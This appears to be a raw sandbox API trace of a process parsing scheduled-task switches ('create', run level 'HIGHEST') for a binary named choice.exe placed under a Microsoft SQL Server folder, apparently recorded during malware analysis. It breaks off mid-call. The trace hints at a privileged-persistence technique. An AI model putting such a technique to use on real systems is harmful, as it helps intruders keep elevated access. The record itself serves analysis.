[0064.991] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0064.992] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x51) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0064.992] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0064.992] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0064.993] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0064.993] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0064.993] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.993] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0064.993] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.993] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0064.993] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.993] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0064.993] GetLastError () returned 0x0 [0064.993] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.993] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.993] SetLastError (dwErrCode=0x0) [0064.993] SetLastError (dwErrCode=0x0) [0064.993] lstrlenW (lpString="/rl") returned 3 [0064.993] lstrlenW (lpString="-/") returned 2 [0064.993] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.993] lstrlenW (lpString="create") returned 6 [0064.993] lstrlenW (lpString="create") returned 6 [0064.993] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.993] lstrlenW (lpString="rl") returned 2 [0064.993] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.993] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0064.993] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.993] lstrlenW (lpString="|create|") returned 8 [0064.993] lstrlenW (lpString="|rl|") returned 4 [0064.993] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0064.993] SetLastError (dwErrCode=0x490) [0064.993] lstrlenW (lpString="?") returned 1 [0064.993] lstrlenW (lpString="?") returned 1 [0064.993] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.993] lstrlenW (lpString="rl") returned 2 [0064.993] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.994] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|?|") returned 3 [0064.994] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.994] lstrlenW (lpString="|?|") returned 3 [0064.994] lstrlenW (lpString="|rl|") returned 4 [0064.994] SetLastError (dwErrCode=0x490) [0064.994] lstrlenW (lpString="s") returned 1 [0064.994] lstrlenW (lpString="s") returned 1 [0064.994] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.994] lstrlenW (lpString="rl") returned 2 [0064.994] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.994] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|s|") returned 3 [0064.994] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.994] lstrlenW (lpString="|s|") returned 3 [0064.994] lstrlenW (lpString="|rl|") returned 4 [0064.994] SetLastError (dwErrCode=0x490) [0064.994] lstrlenW (lpString="u") returned 1 [0064.994] lstrlenW (lpString="u") returned 1 [0064.994] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.994] lstrlenW (lpString="rl") returned 2 [0064.994] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.994] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|u|") returned 3 [0064.994] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.994] lstrlenW (lpString="|u|") returned 3 [0064.994] lstrlenW (lpString="|rl|") returned 4 [0064.994] SetLastError (dwErrCode=0x490) [0064.994] lstrlenW (lpString="p") returned 1 [0064.994] lstrlenW (lpString="p") returned 1 [0064.994] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.994] lstrlenW (lpString="rl") returned 2 [0064.995] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.995] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|p|") returned 3 [0064.995] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.995] lstrlenW (lpString="|p|") returned 3 [0064.995] lstrlenW (lpString="|rl|") returned 4 [0064.995] SetLastError (dwErrCode=0x490) [0064.995] lstrlenW (lpString="ru") returned 2 [0064.995] lstrlenW (lpString="ru") returned 2 [0064.995] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.995] lstrlenW (lpString="rl") returned 2 [0064.995] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.995] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ru|") returned 4 [0064.995] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.995] lstrlenW (lpString="|ru|") returned 4 [0064.995] lstrlenW (lpString="|rl|") returned 4 [0064.995] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0064.995] SetLastError (dwErrCode=0x490) [0064.995] lstrlenW (lpString="rp") returned 2 [0064.995] lstrlenW (lpString="rp") returned 2 [0064.995] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.995] lstrlenW (lpString="rl") returned 2 [0064.995] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.995] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rp|") returned 4 [0064.995] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.995] lstrlenW (lpString="|rp|") returned 4 [0064.995] lstrlenW (lpString="|rl|") returned 4 [0064.996] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0064.996] SetLastError (dwErrCode=0x490) [0064.996] lstrlenW (lpString="sc") returned 2 [0064.996] lstrlenW (lpString="sc") returned 2 [0064.996] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.996] lstrlenW (lpString="rl") returned 2 [0064.996] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.996] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0064.996] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.996] lstrlenW (lpString="|sc|") returned 4 [0064.996] lstrlenW (lpString="|rl|") returned 4 [0064.996] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0064.996] SetLastError (dwErrCode=0x490) [0064.996] lstrlenW (lpString="mo") returned 2 [0064.996] lstrlenW (lpString="mo") returned 2 [0064.996] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.996] lstrlenW (lpString="rl") returned 2 [0064.996] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.996] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0064.996] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.996] lstrlenW (lpString="|mo|") returned 4 [0064.996] lstrlenW (lpString="|rl|") returned 4 [0064.996] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0064.996] SetLastError (dwErrCode=0x490) [0064.996] lstrlenW (lpString="d") returned 1 [0064.996] lstrlenW (lpString="d") returned 1 [0064.996] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.996] lstrlenW (lpString="rl") returned 2 [0064.996] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.997] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|d|") returned 3 [0064.997] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.997] lstrlenW (lpString="|d|") returned 3 [0064.997] lstrlenW (lpString="|rl|") returned 4 [0064.997] SetLastError (dwErrCode=0x490) [0064.997] lstrlenW (lpString="m") returned 1 [0064.997] lstrlenW (lpString="m") returned 1 [0064.997] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.997] lstrlenW (lpString="rl") returned 2 [0064.997] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.997] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|m|") returned 3 [0064.997] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.997] lstrlenW (lpString="|m|") returned 3 [0064.997] lstrlenW (lpString="|rl|") returned 4 [0064.997] SetLastError (dwErrCode=0x490) [0064.997] lstrlenW (lpString="i") returned 1 [0064.997] lstrlenW (lpString="i") returned 1 [0064.997] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.997] lstrlenW (lpString="rl") returned 2 [0064.997] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.997] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|i|") returned 3 [0064.997] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.997] lstrlenW (lpString="|i|") returned 3 [0064.998] lstrlenW (lpString="|rl|") returned 4 [0064.998] SetLastError (dwErrCode=0x490) [0064.998] lstrlenW (lpString="tn") returned 2 [0064.998] lstrlenW (lpString="tn") returned 2 [0064.998] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.998] lstrlenW (lpString="rl") returned 2 [0064.998] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.998] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.998] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.998] lstrlenW (lpString="|tn|") returned 4 [0064.998] lstrlenW (lpString="|rl|") returned 4 [0064.998] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0064.998] SetLastError (dwErrCode=0x490) [0064.998] lstrlenW (lpString="tr") returned 2 [0064.998] lstrlenW (lpString="tr") returned 2 [0064.998] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.998] lstrlenW (lpString="rl") returned 2 [0064.998] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.998] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.998] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.998] lstrlenW (lpString="|tr|") returned 4 [0064.998] lstrlenW (lpString="|rl|") returned 4 [0064.998] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0064.998] SetLastError (dwErrCode=0x490) [0064.998] lstrlenW (lpString="st") returned 2 [0064.998] lstrlenW (lpString="st") returned 2 [0064.998] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.998] lstrlenW (lpString="rl") returned 2 [0064.998] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.998] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|st|") returned 4 [0064.999] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.999] lstrlenW (lpString="|st|") returned 4 [0064.999] lstrlenW (lpString="|rl|") returned 4 [0064.999] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0064.999] SetLastError (dwErrCode=0x490) [0064.999] lstrlenW (lpString="sd") returned 2 [0064.999] lstrlenW (lpString="sd") returned 2 [0064.999] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.999] lstrlenW (lpString="rl") returned 2 [0064.999] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.999] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sd|") returned 4 [0064.999] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.999] lstrlenW (lpString="|sd|") returned 4 [0064.999] lstrlenW (lpString="|rl|") returned 4 [0064.999] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0064.999] SetLastError (dwErrCode=0x490) [0064.999] lstrlenW (lpString="ed") returned 2 [0064.999] lstrlenW (lpString="ed") returned 2 [0064.999] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.999] lstrlenW (lpString="rl") returned 2 [0064.999] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.999] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ed|") returned 4 [0064.999] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0064.999] lstrlenW (lpString="|ed|") returned 4 [0064.999] lstrlenW (lpString="|rl|") returned 4 [0064.999] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0064.999] SetLastError (dwErrCode=0x490) [0064.999] lstrlenW (lpString="it") returned 2 [0064.999] lstrlenW (lpString="it") returned 2 [0064.999] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.999] lstrlenW (lpString="rl") returned 2 [0064.999] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.000] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|it|") returned 4 [0065.000] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0065.000] lstrlenW (lpString="|it|") returned 4 [0065.000] lstrlenW (lpString="|rl|") returned 4 [0065.000] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0065.000] SetLastError (dwErrCode=0x490) [0065.000] lstrlenW (lpString="et") returned 2 [0065.000] lstrlenW (lpString="et") returned 2 [0065.000] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.000] lstrlenW (lpString="rl") returned 2 [0065.000] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.000] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|et|") returned 4 [0065.000] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0065.000] lstrlenW (lpString="|et|") returned 4 [0065.000] lstrlenW (lpString="|rl|") returned 4 [0065.000] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0065.000] SetLastError (dwErrCode=0x490) [0065.000] lstrlenW (lpString="k") returned 1 [0065.000] lstrlenW (lpString="k") returned 1 [0065.000] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.000] lstrlenW (lpString="rl") returned 2 [0065.000] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.000] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|k|") returned 3 [0065.000] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0065.000] lstrlenW (lpString="|k|") returned 3 [0065.000] lstrlenW (lpString="|rl|") returned 4 [0065.000] SetLastError (dwErrCode=0x490) [0065.000] lstrlenW (lpString="du") returned 2 [0065.000] lstrlenW (lpString="du") returned 2 [0065.000] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.000] lstrlenW (lpString="rl") returned 2 [0065.001] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.001] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|du|") returned 4 [0065.001] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0065.001] lstrlenW (lpString="|du|") returned 4 [0065.001] lstrlenW (lpString="|rl|") returned 4 [0065.001] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0065.001] SetLastError (dwErrCode=0x490) [0065.001] lstrlenW (lpString="ri") returned 2 [0065.001] lstrlenW (lpString="ri") returned 2 [0065.001] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.001] lstrlenW (lpString="rl") returned 2 [0065.001] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.001] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ri|") returned 4 [0065.001] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0065.001] lstrlenW (lpString="|ri|") returned 4 [0065.001] lstrlenW (lpString="|rl|") returned 4 [0065.001] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0065.001] SetLastError (dwErrCode=0x490) [0065.001] lstrlenW (lpString="z") returned 1 [0065.001] lstrlenW (lpString="z") returned 1 [0065.001] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.001] lstrlenW (lpString="rl") returned 2 [0065.001] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.001] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|z|") returned 3 [0065.001] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0065.001] lstrlenW (lpString="|z|") returned 3 [0065.001] lstrlenW (lpString="|rl|") returned 4 [0065.001] SetLastError (dwErrCode=0x490) [0065.001] lstrlenW (lpString="f") returned 1 [0065.001] lstrlenW (lpString="f") returned 1 [0065.001] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.002] lstrlenW (lpString="rl") returned 2 [0065.002] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.002] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.002] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0065.002] lstrlenW (lpString="|f|") returned 3 [0065.002] lstrlenW (lpString="|rl|") returned 4 [0065.002] SetLastError (dwErrCode=0x490) [0065.002] lstrlenW (lpString="v1") returned 2 [0065.002] lstrlenW (lpString="v1") returned 2 [0065.002] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.002] lstrlenW (lpString="rl") returned 2 [0065.002] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.002] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|v1|") returned 4 [0065.002] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0065.002] lstrlenW (lpString="|v1|") returned 4 [0065.002] lstrlenW (lpString="|rl|") returned 4 [0065.002] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0065.002] SetLastError (dwErrCode=0x490) [0065.002] lstrlenW (lpString="xml") returned 3 [0065.002] lstrlenW (lpString="xml") returned 3 [0065.002] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.002] lstrlenW (lpString="rl") returned 2 [0065.002] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.002] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|xml|") returned 5 [0065.002] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0065.002] lstrlenW (lpString="|xml|") returned 5 [0065.002] lstrlenW (lpString="|rl|") returned 4 [0065.002] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0065.002] SetLastError (dwErrCode=0x490) [0065.002] lstrlenW (lpString="ec") returned 2 [0065.002] lstrlenW (lpString="ec") returned 2 [0065.002] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.003] lstrlenW (lpString="rl") returned 2 [0065.003] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.003] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ec|") returned 4 [0065.003] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0065.003] lstrlenW (lpString="|ec|") returned 4 [0065.003] lstrlenW (lpString="|rl|") returned 4 [0065.003] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0065.003] SetLastError (dwErrCode=0x490) [0065.003] lstrlenW (lpString="rl") returned 2 [0065.003] lstrlenW (lpString="rl") returned 2 [0065.003] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.003] lstrlenW (lpString="rl") returned 2 [0065.003] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.003] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0065.003] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rl|") returned 4 [0065.003] lstrlenW (lpString="|rl|") returned 4 [0065.003] lstrlenW (lpString="|rl|") returned 4 [0065.003] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0065.003] SetLastError (dwErrCode=0x0) [0065.003] SetLastError (dwErrCode=0x0) [0065.003] lstrlenW (lpString="HIGHEST") returned 7 [0065.003] lstrlenW (lpString="-/") returned 2 [0065.003] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0065.003] SetLastError (dwErrCode=0x490) [0065.003] SetLastError (dwErrCode=0x490) [0065.003] SetLastError (dwErrCode=0x0) [0065.003] lstrlenW (lpString="HIGHEST") returned 7 [0065.003] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0065.003] SetLastError (dwErrCode=0x490) [0065.003] SetLastError (dwErrCode=0x0) [0065.003] _memicmp (_Buf1=0x34d6e0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.003] lstrlenW (lpString="HIGHEST") returned 7 [0065.003] lstrlenW (lpString="HIGHEST") returned 7 [0065.003] lstrlenW (lpString=" \x09") returned 2 [0065.004] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0065.004] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0065.004] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0065.004] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0065.004] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0065.004] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0065.004] StrChrW 